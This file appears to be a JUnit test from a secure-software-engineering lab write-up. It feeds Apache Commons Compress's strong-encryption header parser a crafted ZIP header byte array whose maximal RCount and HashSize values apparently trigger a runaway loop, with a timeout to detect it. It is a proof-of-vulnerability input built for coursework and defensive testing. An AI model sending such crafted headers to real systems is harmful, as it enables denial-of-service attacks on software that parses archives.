secure-software-engineering/Exercise/Writeup/Lab 04/RCountLoopTest.java
2022-06-15 19:58:23 +02:00

23 lines
1.0 KiB
Java

package org.apache.commons.compress.archivers.zip;
import org.junit.Test;
public class RCountLoopTest {
@Test(timeout = 5000)
public void rCountLoopPoVTest() {
X0017_StrongEncryptionHeader header = new X0017_StrongEncryptionHeader();
byte[] data = {
/* [0] Format */ 0,0,
/* [2] Algorithm */ 0,0,
/* [4] Bitlen */ 0,0,
/* [6] Flags */ 0,0,
/* [8] RCount (Outer Loop) */ -1,-1,-1,-1,
/* [12] HashType */ 0,0,
/* [14] HashSize (inner loop) */ -1,-1
};
int offset = 0;
int length = 0;
// System.err.println(String.format("ZIP RCount is '%d'!", ZipLong.getValue(data, 8)));
// System.err.println(String.format("ZIP HashSize is '%d'!", ZipShort.getValue(data, 14)));
header.parseCentralDirectoryFormat(data, offset, length);
}
}